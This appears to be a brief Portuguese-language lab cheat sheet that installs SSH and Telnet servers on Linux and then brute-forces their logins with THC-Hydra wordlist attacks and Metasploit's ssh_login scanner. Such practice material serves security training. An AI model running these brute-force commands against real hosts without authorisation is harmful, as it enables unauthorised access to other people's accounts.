Instalando SSH:

# apt-get install openssh-server
 

Editando SSH server:

# nano /etc/ssh/sshd_config
 

Reiniciando o SSH Server:

# service ssh restart
 

Fazendo brute-force com THC-Hydra:

# hydra <IP/Host> -l <login> -P <wordlist> ssh -V
 

Entrando no Metasploit Framework:

# msfconsole
 

Selecionando exploit:

use auxiliary/scanner/ssh/ssh_login
 

Instalando servidor Telnet:

# apt-get install telnetd
# apt-get install xinetd
 

Criando usuário Linux:

# adduser <usuario>
 

Iniciando servidor Telnet:

# service xinetd start
 

Efetuando ataque brute-force Telnet:

# hydra <IP/Host> -l <login> -P <wordlist> telnet -V